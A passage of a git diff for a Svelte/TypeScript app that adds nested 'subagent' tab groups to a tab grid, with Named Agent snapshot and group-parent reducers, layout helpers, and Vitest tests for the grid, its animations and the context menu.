+ it("stays in range for out-of-range levels", () => {
+ expect(groupTone(0)).toBe("accent");
+ expect(groupTone(-1)).toBe("success");
+ });
+});
+
+describe("groupBleedPx / groupGutterPx", () => {
+ it("is zero without groups", () => {
+ expect(groupGutterPx(0)).toBe(0);
+ expect(groupBleedPx(1, 0)).toBe(0);
+ });
+
+ it("bleeds outer boxes further than inner ones, the outermost filling the gutter", () => {
+ const max = 3;
+ const bleeds = [1, 2, 3].map((l) => groupBleedPx(l, max));
+ expect(bleeds[0]).toBe(groupGutterPx(max));
+ expect(bleeds[0]).toBeGreaterThan(bleeds[1] ?? 0);
+ expect(bleeds[1]).toBeGreaterThan(bleeds[2] ?? 0);
+ expect(bleeds[2]).toBeGreaterThan(0);
+ });
+
+ it("keeps the gutter bounded for deep nesting", () => {
+ expect(groupGutterPx(12)).toBeLessThanOrEqual(24);
+ expect(groupBleedPx(12, 12)).toBeGreaterThan(0);
+ });
+});
+
+describe("lastRowIsGroup (mirrors grid row-dense placement)", () => {
+ const leaf = (id: string) => ({ tab: tab(id), children: [] });
+ const group = (id: string) => ({ tab: tab(id), children: [leaf(`${id}-kid`)] });
+
+ it("is false with only cards", () => {
+ expect(lastRowIsGroup([])).toBe(false);
+ expect(lastRowIsGroup([leaf("a"), leaf("b"), leaf("c")])).toBe(false);
+ });
+
+ it("is true when a nested group comes last", () => {
+ expect(lastRowIsGroup([leaf("a"), group("g")])).toBe(true);
+ expect(lastRowIsGroup([group("g")])).toBe(true);
+ });
+
+ it("stays true when a later card back-fills an earlier half row", () => {
+ // [a, _] then [g, g]; b fills a's half row → g is still the last row.
+ expect(lastRowIsGroup([leaf("a"), group("g"), leaf("b")])).toBe(true);
+ });
+
+ it("is false when a later card has to open a new row below the group", () => {
+ expect(lastRowIsGroup([group("g"), leaf("a")])).toBe(false);
+ expect(lastRowIsGroup([leaf("a"), leaf("b"), group("g"), leaf("c")])).toBe(false);
+ });
+});
diff --git a/src/features/tabs/tab-groups.ts b/src/features/tabs/tab-groups.ts
new file mode 100644
index 0000000..ff3ddd4
--- /dev/null
+++ b/src/features/tabs/tab-groups.ts
@@ -0,0 +1,211 @@
+import type { Tab } from "./tabs";
+
+/**
+ * Subagent tab groups — the PURE model behind the tab grid.
+ *
+ * Each tab may name a tab group parent (`Tab.tabGroupParentId`, the effective
+ * value from the backend). The tab grid renders the tabs as a forest: a tab
+ * with ≥1 visible child is a GROUP (double-width card + a darker box wrapping
+ * it and its children); everything else is a single half-width card. Groups
+ * nest (subagents can summon subagents). Purely presentational.
+ */
+
+export interface TabGroupNode {
+ readonly tab: Tab;
+ /** Visible children, in tab order. Non-empty ⇒ this node renders as a group. */
+ readonly children: readonly TabGroupNode[];
+}
+
+export interface TabGroupForest {
+ /** Top-level nodes, in tab order. */
+ readonly roots: readonly TabGroupNode[];
+ /** Deepest group-box nesting level (0 = no groups, 1 = only top-level groups, …). */
+ readonly maxDepth: number;
+}
+
+/**
+ * The VISIBLE tab group parent of every tab in `tabs`: its `tabGroupParentId`
+ * when that names ANOTHER tab in the same set, else null. A tab whose
+ * ancestor chain loops back to itself (a cycle — never produced by the
+ * backend, but tolerated) is treated as a root, so rendering never loops.
+ */
+export function visibleGroupParents(tabs: readonly Tab[]): ReadonlyMap<string, string | null> {
+ const byId = new Map(tabs.map((t) => [t.conversationId, t]));
+ const direct = (id: string): string | null => {
+ const p = byId.get(id)?.tabGroupParentId;
+ return p !== undefined && p !== id && byId.has(p) ? p : null;
+ };
+ const out = new Map<string, string | null>();
+ for (const tab of tabs) {
+ const id = tab.conversationId;
+ const parent = direct(id);
+ let cyclic = false;
+ const seen = new Set<string>([id]);
+ let cursor = parent;
+ while (cursor !== null) {
+ if (cursor === id) {
+ cyclic = true;
+ break;
+ }
+ if (seen.has(cursor)) break; // a loop above us that doesn't include us
+ seen.add(cursor);
+ cursor = direct(cursor);
+ }
+ out.set(id, cyclic ? null : parent);
+ }
+ return out;
+}
+
+/** Build the group forest for one workspace's tab set (input order preserved). */
+export function buildTabGroups(tabs: readonly Tab[]): TabGroupForest {
+ const parents = visibleGroupParents(tabs);
+ const childIds = new Map<string, string[]>();
+ for (const tab of tabs) {
+ const p = parents.get(tab.conversationId) ?? null;
+ if (p === null) continue;
+ const list = childIds.get(p);
+ if (list === undefined) childIds.set(p, [tab.conversationId]);
+ else list.push(tab.conversationId);
+ }
+ const byId = new Map(tabs.map((t) => [t.conversationId, t]));
+ let maxDepth = 0;
+ const build = (tab: Tab, depth: number): TabGroupNode => {
+ const ids = childIds.get(tab.conversationId) ?? [];
+ if (ids.length > 0) maxDepth = Math.max(maxDepth, depth + 1);
+ const children: TabGroupNode[] = [];
+ for (const cid of ids) {
+ const child = byId.get(cid);
+ if (child !== undefined) children.push(build(child, depth + 1));
+ }
+ return { tab, children };
+ };
+ const roots = tabs
+ .filter((t) => (parents.get(t.conversationId) ?? null) === null)
+ .map((t) => build(t, 0));
+ return { roots, maxDepth };
+}
+
+/** Every (transitive) descendant id of `conversationId` in the VISIBLE grouping. */
+export function groupDescendants(tabs: readonly Tab[], conversationId: string): Set<string> {
+ const parents = visibleGroupParents(tabs);
+ const out = new Set<string>();
+ let grew = true;
+ while (grew) {
+ grew = false;
+ for (const [id, p] of parents) {
+ if (out.has(id) || id === conversationId || p === null) continue;
+ if (p === conversationId || out.has(p)) {
+ out.add(id);
+ grew = true;
+ }
+ }
+ }
+ return out;
+}
+
+/**
+ * The tabs removed by a CASCADING close of `conversationId` (the user chose
+ * "also close its subagents"): the tab itself first, then its transitive
+ * visible-group descendants in tab order. ONE decision covers the whole
+ * subtree — closing never re-prompts per level. A single-element result (the
+ * tab alone) means the tab has no subagents and closes without a prompt.
+ */
+export function cascadeCloseIds(tabs: readonly Tab[], conversationId: string): string[] {
+ const descendants = groupDescendants(tabs, conversationId);
+ const ids = [conversationId];
+ for (const tab of tabs) {
+ if (descendants.has(tab.conversationId)) ids.push(tab.conversationId);
+ }
+ return ids;
+}
+
+/**
+ * The tabs `conversationId` may be moved under (the "Add to group" menu):
+ * every other tab EXCEPT itself, its descendants (that would form a cycle),
+ * and its current visible group parent (already there). Tab order preserved.
+ */
+export function groupParentCandidates(tabs: readonly Tab[], conversationId: string): Tab[] {
+ const parents = visibleGroupParents(tabs);
+ const current = parents.get(conversationId) ?? null;
+ const descendants = groupDescendants(tabs, conversationId);
+ return tabs.filter(
+ (t) =>
+ t.conversationId !== conversationId &&
+ t.conversationId !== current &&
+ !descendants.has(t.conversationId),
+ );
+}
+
+/** Ids of the tabs DIRECTLY grouped under `conversationId` (visible grouping). */
+export function directGroupChildren(tabs: readonly Tab[], conversationId: string): string[] {
+ const parents = visibleGroupParents(tabs);
+ return tabs
+ .filter((t) => parents.get(t.conversationId) === conversationId)
+ .map((t) => t.conversationId);
+}
+
+/**
+ * Whether a group box's LAST grid row is a nested group box (rather than a
+ * card). Mirrors the grid's `row dense` auto-placement: the group parent's
+ * double-width card fills row 0; a card takes the first free half-row (or
+ * opens a new row); a nested group (spans both columns) always opens a new
+ * row. Used to trim the outer box's bottom padding so the gap below a
+ * nested box matches the gap at its sides (an even-looking box).
+ */
+export function lastRowIsGroup(children: readonly TabGroupNode[]): boolean {
+ let openHalfRows = 0; // rows with exactly one free cell
+ let lastIsGroup = false; // the row-0 parent card is not a group row
+ for (const child of children) {
+ if (child.children.length > 0) {
+ lastIsGroup = true; // opens a new (last) row
+ } else if (openHalfRows > 0) {
+ openHalfRows -= 1; // back-fills an earlier half row; last row unchanged
+ } else {
+ openHalfRows += 1; // opens a new (last) row, half-filled
+ lastIsGroup = false;
+ }
+ }
+ return lastIsGroup;
+}
+
+/**
+ * The DaisyUI theme colour a group box at nesting `level` (1 = outermost) is
+ * tinted with. Three colours ROTATE by level, so a box always differs from
+ * the box around it AND from the one around that (with two colours a box
+ * would match its grandparent). `primary` is deliberately excluded — it marks
+ * the active tab, which must stay legible inside any box.
+ */
+export const GROUP_TONES = ["secondary", "success", "accent"] as const;
+export type GroupTone = (typeof GROUP_TONES)[number];
+
+export function groupTone(level: number): GroupTone {
+ const n = GROUP_TONES.length;
+ const i = (((Math.trunc(level) - 1) % n) + n) % n; // non-negative even for level < 1
+ return GROUP_TONES[i] ?? GROUP_TONES[0];
+}
+
+/**
+ * Horizontal bleed (px) of a group box at nesting `level` (1 = outermost)
+ * when the deepest box is `maxDepth`. A box bleeds OUTWARD by this much (a
+ * negative margin + equal padding), so the cards inside every box sit on
+ * exactly the same two grid columns as top-level cards — all cards keep
+ * IDENTICAL dimensions at every depth. Outer boxes bleed more than inner
+ * ones so nested edges stay visible. The step shrinks for deep nesting so the
+ * total gutter (`groupGutterPx`) stays bounded.
+ */
+export function groupBleedPx(level: number, maxDepth: number): number {
+ if (maxDepth <= 0 || level < 1 || level > maxDepth) return 0;
+ return (maxDepth - level + 1) * groupStepPx(maxDepth);
+}
+
+/** The horizontal gutter the grid must reserve so the outermost box fits. */
+export function groupGutterPx(maxDepth: number): number {
+ return maxDepth <= 0 ? 0 : maxDepth * groupStepPx(maxDepth);
+}
+
+const MAX_STEP_PX = 6;
+const MAX_GUTTER_PX = 18;
+
+function groupStepPx(maxDepth: number): number {
+ return Math.max(2, Math.min(MAX_STEP_PX, Math.floor(MAX_GUTTER_PX / maxDepth)));
+}
diff --git a/src/features/tabs/tabs-store.svelte.ts b/src/features/tabs/tabs-store.svelte.ts
index d044b1f..8e63171 100644
--- a/src/features/tabs/tabs-store.svelte.ts
+++ b/src/features/tabs/tabs-store.svelte.ts
@@ -1,3 +1,4 @@
+import type { NamedAgentSelectionSnapshot } from "../named-agents";
import type { Tab, TabsState } from "./tabs";
import {
initialState,
@@ -7,7 +8,10 @@ import {
openTab as reduceOpenTab,
selectTab as reduceSelectTab,
setModel as reduceSetModel,
+ setSnapshot as reduceSetSnapshot,
+ setTabGroupParent as reduceSetTabGroupParent,
setTitle as reduceSetTitle,
+ setWorkspaceId as reduceSetWorkspaceId,
activeTab as selectActiveTab,
} from "./tabs";
@@ -27,7 +31,15 @@ export interface TabsStore {
selectTab(conversationId: string): void;
closeTab(conversationId: string): void;
setModel(conversationId: string, model: string): void;
+ /**
+ * Set (or clear, with null) a tab's Named Agent snapshot (plan §7). The caller
+ * keeps the snapshot's captured `model` in sync with the tab's `model`.
+ */
+ setSnapshot(conversationId: string, snapshot: NamedAgentSelectionSnapshot | null): void;
setTitle(conversationId: string, title: string): void;
+ setWorkspaceId(conversationId: string, workspaceId: string): void;
+ /** Set (string) or clear (null) a tab's tab group parent (visual subagent group). */
+ setTabGroupParent(conversationId: string, parentId: string | null): void;
}
export function createTabsStore(storage: TabsStorage): TabsStore {
@@ -66,8 +78,17 @@ export function createTabsStore(storage: TabsStorage): TabsStore {
setModel(conversationId: string, model: string): void {
apply(reduceSetModel(state, conversationId, model));
},
+ setSnapshot(conversationId: string, snapshot: NamedAgentSelectionSnapshot | null): void {
+ apply(reduceSetSnapshot(state, conversationId, snapshot));
+ },
setTitle(conversationId: string, title: string): void {
apply(reduceSetTitle(state, conversationId, title));
},
+ setWorkspaceId(conversationId: string, workspaceId: string): void {
+ apply(reduceSetWorkspaceId(state, conversationId, workspaceId));
+ },
+ setTabGroupParent(conversationId: string, parentId: string | null): void {
+ apply(reduceSetTabGroupParent(state, conversationId, parentId));
+ },
};
}
diff --git a/src/features/tabs/tabs.test.ts b/src/features/tabs/tabs.test.ts
index ec93076..696e994 100644
--- a/src/features/tabs/tabs.test.ts
+++ b/src/features/tabs/tabs.test.ts
@@ -10,6 +10,7 @@ import {
newDraft,
selectTab,
setModel,
+ setTabGroupParent,
setTitle,
shortHandle,
} from "./tabs";
@@ -223,3 +224,31 @@ describe("shortHandle", () => {
expect(shortHandle("abcd", ["abcd", "abcd1234"])).toBe("abcd");
});
});
+
+describe("setTabGroupParent", () => {
+ const base: TabsState = {
+ tabs: [
+ { conversationId: "a", model: "m", title: "A", workspaceId: "w" },
+ { conversationId: "b", model: "m", title: "B", workspaceId: "w" },
+ ],
+ activeConversationId: "a",
+ };
+
+ it("sets the tab group parent on the named tab only", () => {
+ const next = setTabGroupParent(base, "b", "a");
+ expect(next.tabs[1]?.tabGroupParentId).toBe("a");
+ expect(next.tabs[0]).toBe(base.tabs[0]);
+ expect(next.activeConversationId).toBe("a");
+ });
+
+ it("clears the key entirely with null", () => {
+ const grouped = setTabGroupParent(base, "b", "a");
+ const cleared = setTabGroupParent(grouped, "b", null);
+ expect(cleared.tabs[1]).toEqual(base.tabs[1]);
+ expect("tabGroupParentId" in (cleared.tabs[1] ?? {})).toBe(false);
+ });
+
+ it("is a no-op for an unknown tab", () => {
+ expect(setTabGroupParent(base, "zz", "a").tabs).toEqual(base.tabs);
+ });
+});
diff --git a/src/features/tabs/tabs.ts b/src/features/tabs/tabs.ts
index 63cda35..b2dad7d 100644
--- a/src/features/tabs/tabs.ts
+++ b/src/features/tabs/tabs.ts
@@ -1,9 +1,25 @@
+import type { NamedAgentSelectionSnapshot } from "../named-agents";
+
export interface Tab {
readonly conversationId: string;
readonly model: string;
readonly title: string;
/** The workspace this tab belongs to (the workspace's URL slug). */
readonly workspaceId: string;
+ /**
+ * The Named Agent selection snapshot, when this conversation was selected via
+ * a Named Agent (plan §7). Retained so the conversation keeps showing the
+ * friendly label (and its captured raw model) even after the Named Agent is
+ * renamed/removed. Absent for a raw model selection.
+ */
+ readonly snapshot?: NamedAgentSelectionSnapshot;
+ /**
+ * The EFFECTIVE tab group parent (backend `tabGroupParentId`): the
+ * conversation whose subagent group this tab is visually nested under in
+ * the tab grid. Purely presentational — distinct from the lineage
+ * `parentConversationId`. Absent = ungrouped (a top-level tab).
+ */
+ readonly tabGroupParentId?: string;
}
export interface TabsState {
@@ -73,7 +89,36 @@ export function closeTab(state: TabsState, conversationId: string): TabsState {
}
export function setModel(state: TabsState, conversationId: string, model: string): TabsState {
- const tabs = state.tabs.map((t) => (t.conversationId === conversationId ? { ...t, model } : t));
+ // A raw-model selection clears any Named Agent snapshot (a raw selection is
+ // not "via a Named Agent"). Omit the key entirely (`exactOptionalPropertyTypes`).
+ const tabs = state.tabs.map((t) =>
+ t.conversationId !== conversationId ? t : omitSnapshot({ ...t, model }),
+ );
+ return { tabs, activeConversationId: state.activeConversationId };
+}
+
+/** Drop the optional `snapshot` key (used to clear a Named Agent selection). */
+function omitSnapshot(tab: Tab): Tab {
+ if (!("snapshot" in tab)) return tab;
+ const { snapshot: _omit, ...rest } = tab;
+ void _omit;
+ return rest;
+}
+
+/**
+ * Set (or clear) a tab's Named Agent selection snapshot (plan §7). The snapshot's
+ * captured `model` should equal the tab's `model` (the resolved raw model); this
+ * reducer does not rewrite `model` — the caller keeps them in sync. Pass `null`
+ * to clear (a raw model selection).
+ */
+export function setSnapshot(
+ state: TabsState,
+ conversationId: string,
+ snapshot: NamedAgentSelectionSnapshot | null,
+): TabsState {
+ const tabs = state.tabs.map((t) =>
+ t.conversationId === conversationId ? { ...t, ...(snapshot === null ? {} : { snapshot }) } : t,
+ );
return { tabs, activeConversationId: state.activeConversationId };
}
@@ -82,6 +127,37 @@ export function setTitle(state: TabsState, conversationId: string, title: string
return { tabs, activeConversationId: state.activeConversationId };
}
+/**
+ * Set (string) or clear (null) a tab's tab group parent. Omits the key when
+ * cleared (`exactOptionalPropertyTypes`). No-op for an unknown tab.
+ */
+export function setTabGroupParent(
+ state: TabsState,
+ conversationId: string,
+ parentId: string | null,
+): TabsState {
+ const tabs = state.tabs.map((t) => {
+ if (t.conversationId !== conversationId) return t;
+ if (parentId !== null) return { ...t, tabGroupParentId: parentId };
+ if (!("tabGroupParentId" in t)) return t;
+ const { tabGroupParentId: _omit, ...rest } = t;
+ void _omit;
+ return rest;
+ });
+ return { tabs, activeConversationId: state.activeConversationId };
+}
+
+export function setWorkspaceId(
+ state: TabsState,
+ conversationId: string,
+ workspaceId: string,
+): TabsState {
+ const tabs = state.tabs.map((t) =>
+ t.conversationId === conversationId ? { ...t, workspaceId } : t,
+ );
+ return { tabs, activeConversationId: state.activeConversationId };
+}
+
export function activeTab(state: TabsState): Tab | null {
if (state.activeConversationId === null) return null;
return state.tabs.find((t) => t.conversationId === state.activeConversationId) ?? null;
diff --git a/src/features/tabs/ui.test.ts b/src/features/tabs/ui.test.ts
index ae2a021..8f775a1 100644
--- a/src/features/tabs/ui.test.ts
+++ b/src/features/tabs/ui.test.ts
@@ -1,6 +1,7 @@
-import { fireEvent, render, screen } from "@testing-library/svelte";
+import { fireEvent, render, screen, within } from "@testing-library/svelte";
import userEvent from "@testing-library/user-event";
-import { describe, expect, it, vi } from "vitest";
+import { gsap } from "gsap";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
import type { Tab } from "./tabs";
import TabList from "./ui/TabList.svelte";
@@ -165,7 +166,7 @@ describe("TabList", () => {
expect(screen.getByText("7c2d")).toBeInTheDocument();
});
- it("renders each tab as a single vertical row (flex-col list, not a horizontal strip)", () => {
+ it("renders the tabs as a 2-column grid of same-size cards", () => {
render(TabList, {
props: {
tabs: sampleTabs,
@@ -176,14 +177,17 @@ describe("TabList", () => {
},
});
- // The scroll region containing the tab rows is a vertical flex column.
const tabs = screen.getAllByRole("tab");
- expect(tabs.length).toBeGreaterThan(0);
- const region = tabs[0]?.parentElement;
- expect(region).toHaveClass("flex-col");
+ const grid = tabs[0]?.parentElement;
+ expect(grid).toHaveClass("grid", "grid-cols-2");
+ // Every card has the same fixed height; none is double-width without a group.
+ for (const t of tabs) {
+ expect(t).toHaveClass("h-[4.5rem]");
+ expect(t).not.toHaveClass("col-span-2");
+ }
});
- it("fixes the tab list region at 40vh so a long set scrolls internally", () => {
+ it("fixes the tab grid region at 70vh so a long set scrolls internally", () => {
render(TabList, {
props: {
tabs: sampleTabs,
@@ -195,8 +199,8 @@ describe("TabList", () => {
});
const tabs = screen.getAllByRole("tab");
- const region = tabs[0]?.parentElement;
- expect(region).toHaveClass("h-[40vh]");
+ const region = tabs[0]?.parentElement?.parentElement;
+ expect(region).toHaveClass("h-[70vh]");
expect(region).toHaveClass("overflow-y-auto");
});
@@ -295,4 +299,527 @@ describe("TabList", () => {
// c3 has no status → no spinner at all.
expect(idleTab.querySelector(".loading")).toBeNull();
});
+
+ describe("subagent groups", () => {
+ const grouped: readonly Tab[] = [
+ { conversationId: "p", model: "m", title: "Parent", workspaceId: "w" },
+ {
+ conversationId: "c1",
+ model: "m",
+ title: "Child 1",
+ workspaceId: "w",
+ tabGroupParentId: "p",
+ },
+ {
+ conversationId: "c2",
+ model: "m",
+ title: "Child 2",
+ workspaceId: "w",
+ tabGroupParentId: "p",
+ },
+ {
+ conversationId: "g",
+ model: "m",
+ title: "Grandchild",
+ workspaceId: "w",
+ tabGroupParentId: "c1",
+ },
+ { conversationId: "solo", model: "m", title: "Solo", workspaceId: "w" },
+ ];
+
+ function renderGrouped(onSetTabGroup = vi.fn()) {
+ render(TabList, {
+ props: {
+ tabs: grouped,
+ activeConversationId: "p",
+ onSelect: vi.fn(),
+ onClose: vi.fn(),
+ onNewDraft: vi.fn(),
+ onSetTabGroup,
+ },
+ });
+ return onSetTabGroup;
+ }
+
+ const card = (id: string): HTMLElement => {
+ const el = document.querySelector<HTMLElement>(`[role="tab"][data-conversation-id="${id}"]`);
+ if (el === null) throw new Error(`card ${id} not found`);
+ return el;
+ };
+
+ it("renders a group parent double-width inside a darker group box with its subagents", () => {
+ renderGrouped();
+ const box = document.querySelector<HTMLElement>('[data-tab-group="p"]');
+ expect(box).not.toBeNull();
+ expect(box).toHaveClass("col-span-2");
+ expect(card("p")).toHaveClass("col-span-2");
+ expect(card("p")).toHaveTextContent("2 subagents");
+ expect(box?.contains(card("c1"))).toBe(true);
+ expect(box?.contains(card("c2"))).toBe(true);
+ expect(box?.contains(card("solo"))).toBe(false);
+ // Subagents are regular half-width cards.
+ expect(card("c2")).not.toHaveClass("col-span-2");
+ });
+
+ it("nests a subagent that has its own subagents in an inner box", () => {
+ renderGrouped();
+ const outer = document.querySelector<HTMLElement>('[data-tab-group="p"]');
+ const inner = document.querySelector<HTMLElement>('[data-tab-group="c1"]');
+ expect(inner).not.toBeNull();
+ expect(outer?.contains(inner)).toBe(true);
+ expect(inner?.dataset.level).toBe("2");
+ expect(card("c1")).toHaveClass("col-span-2");
+ expect(inner?.contains(card("g"))).toBe(true);
+ // Inner boxes bleed less than outer ones, so nested edges stay visible
+ // while the cards keep identical widths.
+ const bleed = (el: HTMLElement | null) => Number.parseFloat(el?.style.paddingLeft ?? "");
+ expect(bleed(inner)).toBeGreaterThan(0);
+ expect(bleed(outer)).toBeGreaterThan(bleed(inner));
+ // Equal internal padding on all four sides (an even-looking box).
+ for (const box of [outer, inner]) {
+ const s = box?.style;
+ expect([s?.paddingTop, s?.paddingRight, s?.paddingBottom]).toEqual([
+ s?.paddingLeft,
+ s?.paddingLeft,
+ s?.paddingLeft,
+ ]);
+ }
+ // Each level is tinted with its own rotating theme colour.
+ expect(outer?.dataset.tone).toBe("secondary");
+ expect(inner?.dataset.tone).toBe("success");
+ // The tint lives on each box's own backdrop layer (FLIP fades it in).
+ const tint = (box: HTMLElement | null) =>
+ box
+ ?.querySelector<HTMLElement>(":scope > [data-group-backdrop]")
+ ?.style.getPropertyValue("--group-tone");
+ expect(tint(outer)).toBe("var(--color-secondary)");
+ expect(tint(inner)).toBe("var(--color-success)");
+ expect(outer?.style.getPropertyValue("margin-inline")).toBe(`-${outer?.style.paddingLeft}`);
+ });
+
+ it("returns the group parent to a half-width card once all its subagent tabs close", async () => {
+ const props = {
+ tabs: grouped,
+ activeConversationId: "p",
+ onSelect: vi.fn(),
+ onClose: vi.fn(),
+ onNewDraft: vi.fn(),
+ onSetTabGroup: vi.fn(),
+ };
+ const { rerender } = render(TabList, { props });
+ expect(card("p")).toHaveClass("col-span-2");
+
+ // Close one subagent: still a group (1 left).
+ await rerender({ ...props, tabs: grouped.filter((t) => t.conversationId !== "c2") });
+ expect(card("p")).toHaveClass("col-span-2");
+ expect(card("p")).toHaveTextContent("1 subagent");
+
+ // Close the rest (c1 + its own subagent g): back to a plain half-width card.
+ await rerender({
+ ...props,
+ tabs: grouped.filter((t) => ["p", "solo"].includes(t.conversationId)),
+ });
+ expect(card("p")).not.toHaveClass("col-span-2");
+ expect(card("p")).not.toHaveTextContent("subagent");
+ expect(document.querySelector("[data-tab-group]")).toBeNull();
+ });
+
+ describe("FLIP animation (motion allowed)", () => {
+ /** Jump every running GSAP animation to `progress` (0–1), delays included. */
+ function seekAnimations(progress: number): void {
+ for (const t of gsap.globalTimeline.getChildren(true, true, false)) t.progress(progress);
+ }
+
+ // jsdom has no matchMedia, which the grid reads as "no motion" — stub
+ // the outermost edge so the GSAP Flip path actually runs.
+ beforeEach(() => {
+ vi.stubGlobal(
+ "matchMedia",
+ vi.fn(() => ({ matches: false }) as unknown as MediaQueryList),
+ );
+ });
+ afterEach(() => {
+ vi.unstubAllGlobals();
+ });
+
+ const props = {
+ activeConversationId: "p",
+ onSelect: vi.fn(),
+ onClose: vi.fn(),
+ onNewDraft: vi.fn(),
+ onSetTabGroup: vi.fn(),
+ };
+
+ it("leaves an inert ghost of a closed tab (and its dissolved box) that is never a tab", async () => {
+ const two = grouped.filter((t) => ["p", "c1", "solo"].includes(t.conversationId));
+ const { rerender } = render(TabList, { props: { ...props, tabs: two } });
+ // jsdom lays nothing out (every box is 0×0) — give elements a real size.
+ const rect = vi
+ .spyOn(Element.prototype, "getBoundingClientRect")
+ .mockReturnValue(new DOMRect(0, 0, 120, 72));
+ // Close c1: its card AND p's group box leave.
+ await rerender({ ...props, tabs: two.filter((t) => t.conversationId !== "c1") });
+ rect.mockRestore();
+
+ const ghosts = [...document.querySelectorAll<HTMLElement>("[data-tab-ghost]")];
+ expect(ghosts).toHaveLength(2);
+ for (const g of ghosts) {
+ expect(g).toHaveAttribute("aria-hidden", "true");
+ expect(g.querySelector("[data-conversation-id],[data-flip-id],[role]")).toBeNull();
+ }
+ // Paint order: the dissolving box's tint goes FIRST in its enclosing
+ // grid (under every card); the closed card's ghost goes on top.
+ const grid = screen.getByRole("tablist");
+ const boxGhost = grid.firstElementChild as HTMLElement;
+ expect(boxGhost).toHaveAttribute("data-tab-ghost");
+ // A clipping frame around a copy of the tint only — no card copies.
+ expect(boxGhost.childElementCount).toBe(1);
+ expect(boxGhost.firstElementChild?.childElementCount).toBe(0);
+ // Ghosts SHRINK (a clipped height), they don't fade or scale: halfway
+ // through, each is shorter than it started; at the end they're gone.
+ const full = ghosts.map((g) => Number.parseFloat(g.style.height));
+ seekAnimations(0.5);
+ ghosts.forEach((g, i) => {
+ expect(g.style.overflow).toBe("hidden");
+ expect(g.style.opacity).toBe("");
+ expect(Number.parseFloat(g.style.height)).toBeLessThan(full[i] ?? 0);
+ });
+ const cardGhost = ghosts.find((g) => g !== boxGhost);
+ expect(cardGhost?.parentElement).toBe(grid.parentElement);
+ expect(cardGhost).toHaveTextContent("Child 1");
+ // Ghosts are invisible to queries: only the real remaining tabs count.
+ expect(screen.getAllByRole("tab").map((t) => t.dataset.conversationId)).toEqual([
+ "p",
+ "solo",
+ ]);
+ expect(screen.getAllByRole("button", { name: "Close tab" })).toHaveLength(2);
+ seekAnimations(1);
+ expect(document.querySelector("[data-tab-ghost]")).toBeNull();
+ });
+
+ it("measures each element at most twice per change (no layout thrash)", async () => {
+ // Regression: GSAP's Flip plugin cost ~430ms of main-thread work per
+ // close with ~40 nested tabs. The hand-rolled FLIP reads every element's
+ // box once before the change and once after — never per tween.
+ const { rerender } = render(TabList, { props: { ...props, tabs: grouped } });
+ const elements = document.querySelectorAll("[data-flip-id]").length;
+ const spy = vi.spyOn(Element.prototype, "getBoundingClientRect");
+ try {
+ await rerender({ ...props, tabs: grouped.filter((t) => t.conversationId !== "c2") });
+ // 2 per element + 1 host read per ghost (one ghost here: c2's card).
+ expect(spy.mock.calls.length).toBeLessThanOrEqual(2 * elements + 1);
+ } finally {
+ spy.mockRestore();
+ }
+ });
+
+ it("does not ghost anything when a subagent is summoned", async () => {
+ const base = grouped.filter((t) => ["p", "solo"].includes(t.conversationId));
+ const { rerender } = render(TabList, { props: { ...props, tabs: base } });
+ await rerender({ ...props, tabs: grouped });
+ expect(document.querySelector("[data-tab-ghost]")).toBeNull();
+ expect(screen.getAllByRole("tab")).toHaveLength(grouped.length);
+ // New cards start fully clipped (0 visible height) and grow in from
+ // the top edge; once done no motion style is left behind.
+ const ids = ["c1", "c2", "g"];
+ for (const id of ids) expect(card(id).style.clipPath).toBe("inset(0% 0% 100% 0%)");
+ seekAnimations(1);
+ for (const id of ids) {
+ expect(card(id).style.clipPath).toBe("");
+ expect(card(id).style.transform).toBe("");
+ }
+ });
+ });
+
+ it("never animates when the user prefers reduced motion", async () => {
+ vi.stubGlobal(
+ "matchMedia",
+ vi.fn(() => ({ matches: true }) as unknown as MediaQueryList),
+ );
+ try {
+ const props = {
+ tabs: grouped,
+ activeConversationId: "p",
+ onSelect: vi.fn(),
+ onClose: vi.fn(),
+ onNewDraft: vi.fn(),
+ };
+ const { rerender } = render(TabList, { props });
+ await rerender({ ...props, tabs: grouped.filter((t) => t.conversationId !== "c2") });
+ expect(document.querySelector("[data-tab-ghost]")).toBeNull();
+ } finally {
+ vi.unstubAllGlobals();
+ }
+ });
+
+ it("keeps the parent wide while a nested descendant's own parent remains open", async () => {
+ const props = {
+ tabs: grouped,
+ activeConversationId: "p",
+ onSelect: vi.fn(),
+ onClose: vi.fn(),
+ onNewDraft: vi.fn(),
+ };
+ const { rerender } = render(TabList, { props });
+ // Close the grandchild only: c1 goes back to half width, p stays a group.
+ await rerender({ ...props, tabs: grouped.filter((t) => t.conversationId !== "g") });
+ expect(card("c1")).not.toHaveClass("col-span-2");
+ expect(document.querySelector('[data-tab-group="c1"]')).toBeNull();
+ expect(card("p")).toHaveClass("col-span-2");
+ });
+
+ it("trims the bottom padding under a nested box on the last row to match its side gaps", () => {
+ // p's children: c2 (card) then c1 (nested group) → c1's box is the last row.
+ const lastIsGroup: readonly Tab[] = [
+ { conversationId: "p", model: "m", title: "Parent", workspaceId: "w" },
+ { conversationId: "c2", model: "m", title: "C2", workspaceId: "w", tabGroupParentId: "p" },
+ { conversationId: "c1", model: "m", title: "C1", workspaceId: "w", tabGroupParentId: "p" },
+ { conversationId: "g", model: "m", title: "G", workspaceId: "w", tabGroupParentId: "c1" },
+ ];
+ render(TabList, {
+ props: {
+ tabs: lastIsGroup,
+ activeConversationId: "p",
+ onSelect: vi.fn(),
+ onClose: vi.fn(),
+ onNewDraft: vi.fn(),
+ },
+ });
+ const outer = document.querySelector<HTMLElement>('[data-tab-group="p"]');
+ const inner = document.querySelector<HTMLElement>('[data-tab-group="c1"]');
+ const px = (v: string | undefined) => Number.parseFloat(v ?? "");
+ const outerSide = px(outer?.style.paddingLeft);
+ const innerBleed = px(inner?.style.paddingLeft);
+ // Side gap between the two box edges = outer bleed − inner bleed; the
+ // bottom gap must equal it.
+ expect(px(outer?.style.paddingBottom)).toBe(outerSide - innerBleed);
+ expect(px(outer?.style.paddingTop)).toBe(outerSide);
+ // The inner box ends in a card → untouched, even on all sides.
+ expect(px(inner?.style.paddingBottom)).toBe(innerBleed);
+ });
+
+ it("right-click opens the menu; 'Remove from group' ungroups the tab", async () => {
+ const onSetTabGroup = renderGrouped();
+ await fireEvent.contextMenu(card("c2"), { clientX: 10, clientY: 10 });
+ const menu = screen.getByRole("menu");
+ expect(menu).toBeInTheDocument();
+ await fireEvent.click(screen.getByRole("menuitem", { name: /Remove from group/ }));
+ expect(onSetTabGroup).toHaveBeenCalledWith("c2", null);
+ expect(screen.queryByRole("menu")).toBeNull();
+ });
+
